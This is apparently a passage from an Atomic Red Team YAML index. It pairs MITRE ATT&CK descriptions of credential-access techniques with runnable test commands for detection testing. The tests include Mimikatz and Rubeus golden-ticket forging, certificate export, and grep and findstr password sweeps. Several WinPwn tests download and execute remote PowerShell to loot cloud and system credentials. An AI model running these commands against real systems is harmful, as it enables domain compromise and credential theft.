        Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)
        being used to move laterally. \n"
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Credential Request'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1558.001
    atomic_tests:
    - name: Crafting Active Directory golden tickets with mimikatz
      auto_generated_guid: 9726592a-dabc-4d4d-81cd-44070008b3af
      description: |
        Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.
        This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).
        The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.
      supported_platforms:
      - windows
      input_arguments:
        domain_sid:
          description: SID of the targeted domain, if you keep default it will automatically
            get the current domain SID
          type: string
          default: S-1-5-21-DEFAULT
        domain:
          description: Targeted Active Directory domain FQDN
          type: string
          default: "%userdnsdomain%"
        account:
          description: Account to impersonate
          type: string
          default: goldenticketfakeuser
        krbtgt_aes256_key:
          description: Krbtgt AES256 key (you will need to set to match your krbtgt
            key for your domain)
          type: string
          default: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
        mimikatz_path:
          description: Mimikatz windows executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

          '
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item
          -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction
          Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath
          = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\"
          $basePath\n"
      executor:
        name: powershell
        elevation_required: false
        command: "Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item
          $env:TEMP\\golden.txt -ErrorAction Ignore\n\n# get current domain SID if
          default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match
          \"DEFAULT\") {\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n
          \ $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n  $krbtgtSID
          = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n
          \ $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n#
          create batch file with commands to run in a separate \"runas /netonly\"
          session\n# so we don't purge Kerberos ticket from the current Windows session\n#
          its output goes to golden.txt temp file, because we cannot capture \"runas
          /netonly\" output otherwise\n@\"\n>%TEMP%\\golden.txt 2>&1 (\n  echo Purge
          existing tickets and create golden ticket:\n  klist purge\n  #{mimikatz_path}
          \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{krbtgt_aes256_key}
          /user:#{account} /ptt\" \"exit\"\n\n  echo.\n  echo Requesting SYSVOL:\n
          \ dir \\\\#{domain}\\SYSVOL\n  \n  echo.\n  echo Tickets after requesting
          SYSVOL:\n  klist\n\n  echo.\n  echo End of Golden Ticket attack\n)\n\"@
          -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n#
          run batch file in a new empty session (password and username do not matter)\necho
          \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n#
          wait until the output file has logged the entire attack\ndo {\n  Start-Sleep
          1 # wait a bit so the output file has time to be created\n  Get-Content
          -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n    if ($_ -match
          'End of Golden Ticket attack') { break } \n  }\n} while ($false) # dummy
          loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content
          $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat
          -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n"
    - name: Crafting Active Directory golden tickets with Rubeus
      auto_generated_guid: e42d33cd-205c-4acf-ab59-a9f38f6bad9c
      description: |
        Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.
        This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).
        The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.
      supported_platforms:
      - windows
      input_arguments:
        domaincontroller:
          description: Targeted Active Directory domain FQDN
          type: string
          default: $ENV:logonserver.TrimStart('\') + "." + "$ENV:userdnsdomain"
        account:
          description: Account to impersonate
          type: string
          default: "$ENV:username"
        krbtgt_aes256_key:
          description: Krbtgt AES256 key (you will need to set to match your krbtgt
            key for your domain)
          type: string
          default: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
        local_folder:
          description: Local path of Rubeus executable
          type: path
          default: "$Env:temp"
        local_executable:
          description: name of the rubeus executable
          type: string
          default: rubeus.exe
        rubeus_url:
          description: URL of Rubeus executable
          type: url
          default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

          '
      - description: 'Rubeus must exist

          '
        prereq_command: 'if(Test-Path -Path #{local_folder}\#{local_executable}) {exit
          0} else {exit 1}

          '
        get_prereq_command: 'Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable}

          '
      executor:
        name: powershell
        elevation_required: false
        command: "Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item
          $env:TEMP\\golden.txt -ErrorAction Ignore\n\ncmd.exe /c \"#{local_folder}\\#{local_executable}\"
          golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller})
          /printcmd /outfile:golden\n$filename = (Get-ChildItem | ? {$_.Name.startswith(\"golden_\")}
          | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name\n\n#
          create batch file with commands to run in a separate \"runas /netonly\"
          session\n# so we don't purge Kerberos ticket from the current Windows session\n#
          its output goes to golden.txt temp file, because we cannot capture \"runas
          /netonly\" output otherwise\n@\"\n>%TEMP%\\golden.txt 2>&1 (\n  echo Purge
          existing tickets and create golden ticket:\n  klist purge\n  cd %temp%\n
          \ \"#{local_folder}\\#{local_executable}\" ptt /ticket:kirbifile\n\n  echo.\n
          \ echo Requesting SYSVOL:\n  dir \\\\$(#{domaincontroller})\\SYSVOL\n  \n
          \ echo.\n  echo Tickets after requesting SYSVOL:\n  klist\n\n  echo.\n  echo
          End of Golden Ticket attack\n)\n\"@ -Replace \"kirbifile\", $filename |
          Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new
          empty session (password and username do not matter)\necho \"foo\" | runas
          /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until
          the output file has logged the entire attack\ndo {\n  Start-Sleep 1 # wait
          a bit so the output file has time to be created\n  Get-Content -Path \"$env:TEMP\\golden.txt\"
          -Wait | ForEach-Object {\n    if ($_ -match 'End of Golden Ticket attack')
          { break } \n  }\n} while ($false) # dummy loop so that 'break' can be used\n\n#
          show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n#
          cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item
          $env:TEMP\\golden.txt -ErrorAction Ignore\n"
  T1649:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Steal or Forge Authentication Certificates
      description: |-
        Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)

        Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned)

        Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.

        Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: ''
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Azure AD
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Tristan Bennett, Seamless Intelligence
      - Lee Christensen, SpecterOps
      - Thirumalai Natarajan, Mandiant
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      - 'Active Directory: Active Directory Credential Request'
      - 'Active Directory: Active Directory Object Modification'
      - 'Windows Registry: Windows Registry Key Access'
      - 'File: File Access'
      - 'Logon Session: Logon Session Creation'
      type: attack-pattern
      id: attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331
      created: '2022-08-03T03:20:58.955Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1649
        external_id: T1649
      - source_name: GitHub GhostPack Certificates
        description: HarmJ0y. (2018, August 22). SharpDPAPI - Certificates. Retrieved
          August 2, 2022.
        url: https://github.com/GhostPack/SharpDPAPI#certificates
      - source_name: Microsoft AD CS Overview
        description: Microsoft. (2016, August 31). Active Directory Certificate Services
          Overview. Retrieved August 2, 2022.
        url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
      - source_name: Medium Certified Pre Owned
        description: Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved
          August 2, 2022.
        url: https://posts.specterops.io/certified-pre-owned-d95910965cd2
      - source_name: SpecterOps Certified Pre Owned
        description: Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned
          - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.
        url: https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf
      - source_name: O365 Blog Azure AD Device IDs
        description: Syynimaa, N. (2022, February 15). Stealing and faking Azure AD
          device identities. Retrieved August 3, 2022.
        url: https://o365blog.com/post/deviceidentity/
      - source_name: GitHub CertStealer
        description: TheWover. (2021, April 21). CertStealer. Retrieved August 2,
          2022.
        url: https://github.com/TheWover/CertStealer
      - source_name: APT29 Deep Look at Credential Roaming
        description: 'Thibault Van Geluwe De Berlaere. (2022, November 8). They See
          Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential
          Roaming. Retrieved November 9, 2022.'
        url: https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1649
    atomic_tests:
    - name: Staging Local Certificates via Export-Certificate
      auto_generated_guid: eb121494-82d1-4148-9e2b-e624e03fbf3d
      description: 'Export all user certificates and add to a compressed archive.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          $archive="$env:PUBLIC\T1649\atomic_certs.zip"
          $exfilpath="$env:PUBLIC\T1649\certs"
          Add-Type -assembly "system.io.compression.filesystem"
          Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore
          mkdir $exfilpath | Out-Null
          foreach ($cert in (gci Cert:\CurrentUser\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\$($cert.FriendlyName).cer}
          [io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive)
        cleanup_command: |
          $exfilpath="$env:PUBLIC\T1649\certs"
          Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore
        name: powershell
  T1552.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3
      type: attack-pattern
      created: '2020-02-04T13:02:11.685Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1552.003
        url: https://attack.mitre.org/techniques/T1552/003
      - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
          DA, the OS X Way. Retrieved July 3, 2017.
        source_name: External to DA, the OS X Way
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Unsecured Credentials: Bash History'
      description: 'Adversaries may search the bash command history on compromised
        systems for insecurely stored credentials. Bash keeps track of the commands
        users type on the command-line with the "history" utility. Once a user logs
        out, the history is flushed to the user’s <code>.bash_history</code> file.
        For each user, this file resides at the same location: <code>~/.bash_history</code>.
        Typically, this file keeps track of the user’s last 500 commands. Users often
        type usernames and passwords on the command-line as parameters to programs,
        which then get saved to this file when they log out. Adversaries can abuse
        this by looking through the file for potential credentials. (Citation: External
        to DA, the OS X Way)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: Monitoring when the user's <code>.bash_history</code> is
        read can help alert to suspicious activity. While users do typically rely
        on their history of commands, they often access this history through other
        utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1552.003
    atomic_tests:
    - name: Search Through Bash History
      auto_generated_guid: 3cfde62b-7c33-4b26-a61e-755d6131c8ce
      description: 'Search through bash history for specifice commands we want to
        capture

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "~/loot.txt"
        bash_history_grep_args:
          description: grep arguments that filter out specific commands we want to
            capture
          type: path
          default: "-e '-p ' -e 'pass' -e 'ssh'"
        bash_history_filename:
          description: Path of the bash history file to capture
          type: path
          default: "~/.bash_history"
      executor:
        command: 'cat #{bash_history_filename} | grep #{bash_history_grep_args} >
          #{output_file}

          '
        name: sh
    - name: Search Through sh History
      auto_generated_guid: d87d3b94-05b4-40f2-a80f-99864ffa6803
      description: 'Search through sh history for specifice commands we want to capture

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "~/loot.txt"
        sh_history_grep_args:
          description: grep arguments that filter out specific commands we want to
            capture
          type: path
          default: "-e '-p ' -e 'pass' -e 'ssh'"
        sh_history_filename:
          description: Path of the sh history file to capture
          type: path
          default: "~/.history"
      executor:
        command: 'cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file}

          '
        name: sh
  T1552.001:
    technique:
      modified: '2024-04-15T21:33:00.213Z'
      name: 'Unsecured Credentials: Credentials In Files'
      description: |-
        Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

        It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)

        In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Rory McCune, Aqua Security
      - Jay Chen, Palo Alto Networks
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      - Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_deprecated: false
      x_mitre_detection: 'While detecting adversaries accessing these files may be
        difficult without knowing they exist in the first place, it may be possible
        to detect adversary use of credentials they have obtained. Monitor the command-line
        arguments of executing processes for suspicious words or regular expressions
        that may indicate searching for a password (for example: password, pwd, login,
        secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        for more information.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      - Containers
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Access'
      x_mitre_system_requirements:
      - Access to files
      type: attack-pattern
      id: attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc
      created: '2020-02-04T12:52:13.006Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1552/001
        external_id: T1552.001
      - source_name: CG 2014
        description: CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part
          1. Retrieved November 12, 2014.
        url: http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
      - source_name: Unit 42 Hildegard Malware
        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
      - source_name: Unit 42 Unsecured Docker Daemons
        description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques
          in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.
        url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
      - source_name: Specter Ops - Cloud Credential Storage
        description: Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved
          October 4, 2019.
        url: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48
      - source_name: SRD GPP
        description: 'Security Research and Defense. (2014, May 13). MS14-025: An
          Update for Group Policy Preferences. Retrieved January 28, 2015.'
        url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1552.001
    atomic_tests:
    - name: Find AWS credentials
      auto_generated_guid: 2b93758e-a8d7-4e3b-bc7b-d3aa8d7ecb17
      description: 'Find local AWS credentials from file, defaults to using / as the
        look path.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_path:
          description: Path to search
          type: string
          default: "/"
      executor:
        command: 'find #{file_path} -name "credentials" -type f -path "*/.aws/*" 2>/dev/null

          '
        name: sh
    - name: Extract Browser and System credentials with LaZagne
      auto_generated_guid: 9e507bb8-1d30-4e3b-a49b-cb5727d7ea79
      description: "[LaZagne Source](https://github.com/AlessandroZ/LaZagne)\n"
      supported_platforms:
      - macos
      executor:
        command: 'python2 laZagne.py all

          '
        elevation_required: true
        name: bash
    - name: Extract passwords with grep
      auto_generated_guid: bd4cf0d1-7646-474e-8610-78ccf5a097c4
      description: 'Extracting credentials from files

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        file_path:
          description: Path to search
          type: string
          default: "/"
      executor:
        command: |
          grep -ri password #{file_path}
          exit 0
        name: sh
    - name: Extracting passwords with findstr
      auto_generated_guid: 0e56bf29-ff49-4ea5-9af4-3b81283fd513
      description: 'Extracting Credentials from Files. Upon execution, the contents
        of files that contain the word "password" will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          findstr /si pass *.xml *.doc *.txt *.xls
          ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
        name: powershell
    - name: Access unattend.xml
      auto_generated_guid: 367d4004-5fc0-446d-823f-960c74ae52c3
      description: |
        Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
        If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
      supported_platforms:
      - windows
      executor:
        command: |
          type C:\Windows\Panther\unattend.xml
          type C:\Windows\Panther\Unattend\unattend.xml
        name: command_prompt
        elevation_required: true
    - name: Find and Access Github Credentials
      auto_generated_guid: da4f751a-020b-40d7-b9ff-d433b7799803
      description: 'This test looks for .netrc files (which stores github credentials
        in clear text )and dumps its contents if found.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        file_path:
          description: Path to search
          type: string
          default: "/home"
      executor:
        name: bash
        elevation_required: false
        command: 'for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do
          echo $file ; cat $file ; done

          '
    - name: WinPwn - sensitivefiles
      auto_generated_guid: 114dd4e3-8d1c-4ea7-bb8d-8d8f6aca21f0
      description: Search for sensitive files on this local system using the SensitiveFiles
        function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          sensitivefiles -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - Snaffler
      auto_generated_guid: fdd0c913-714b-4c13-b40f-1824d6c015f2
      description: Check Domain Network-Shares for cleartext passwords using Snaffler
        function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          Snaffler -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - powershellsensitive
      auto_generated_guid: 75f66e03-37d3-4704-9520-3210efbe33ce
      description: Check Powershell event logs for credentials or other sensitive
        information via winpwn powershellsensitive function.
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          powershellsensitive -consoleoutput -noninteractive
        name: powershell
    - name: WinPwn - passhunt
      auto_generated_guid: 00e3e3c7-6c3c-455e-bd4b-461c7f0e7797
      description: Search for Passwords on this system using passhunt via WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          passhunt -local $true -noninteractive
        cleanup_command: |-
          rm -force .\passhunt.exe -ErrorAction Ignore
          rm -force .\phunter* -ErrorAction Ignore
          rm -force -recurse .\DomainRecon -ErrorAction Ignore
          rm -force -recurse .\Exploitation -ErrorAction Ignore
          rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
          rm -force -recurse .\LocalRecon -ErrorAction Ignore
          rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
        name: powershell
    - name: WinPwn - SessionGopher
      auto_generated_guid: c9dc9de3-f961-4284-bd2d-f959c9f9fda5
      description: Launches SessionGopher on this system via WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          sessionGopher -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute
        credentials
      auto_generated_guid: aaa87b0e-5232-4649-ae5c-f1724a4b2798
      description: Loot local Credentials - AWS, Microsoft Azure, and Google Compute
        credentials technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object
          net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSharpCloud
          -consoleoutput -noninteractive  "
        name: powershell
    - name: List Credential Files via PowerShell
      auto_generated_guid: 0d4f2281-f720-4572-adc8-d5bb1618affe
      description: 'Via PowerShell,list files where credentials are stored in Windows
        Credential Manager

        '
      supported_platforms:
      - windows
      executor:
        command: |
          $usernameinfo = (Get-ChildItem Env:USERNAME).Value
          Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
          Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
        name: powershell
        elevation_required: true
    - name: List Credential Files via Command Prompt
      auto_generated_guid: b0cdacf6-8949-4ffe-9274-a9643a788e55
      description: 'Via Command Prompt,list files where credentials are stored in
        Windows Credential Manager

        '
      supported_platforms:
      - windows
      executor:
        command: |
          dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
          dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
        name: command_prompt
        elevation_required: true
  T1606.001:
    technique:
      modified: '2023-09-19T21:25:10.511Z'
      name: Web Cookies
      description: |-
        Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.

        Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.

        Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Jack Burns, HubSpot
      x_mitre_deprecated: false
      x_mitre_detection: Monitor for anomalous authentication activity, such as logons
        or other user session activity associated with unknown accounts. Monitor for
        unexpected and abnormal access to resources, including access of websites
        and cloud-based applications by the same user in different locations or by
        different systems that do not match expected configurations.
      x_mitre_domains:
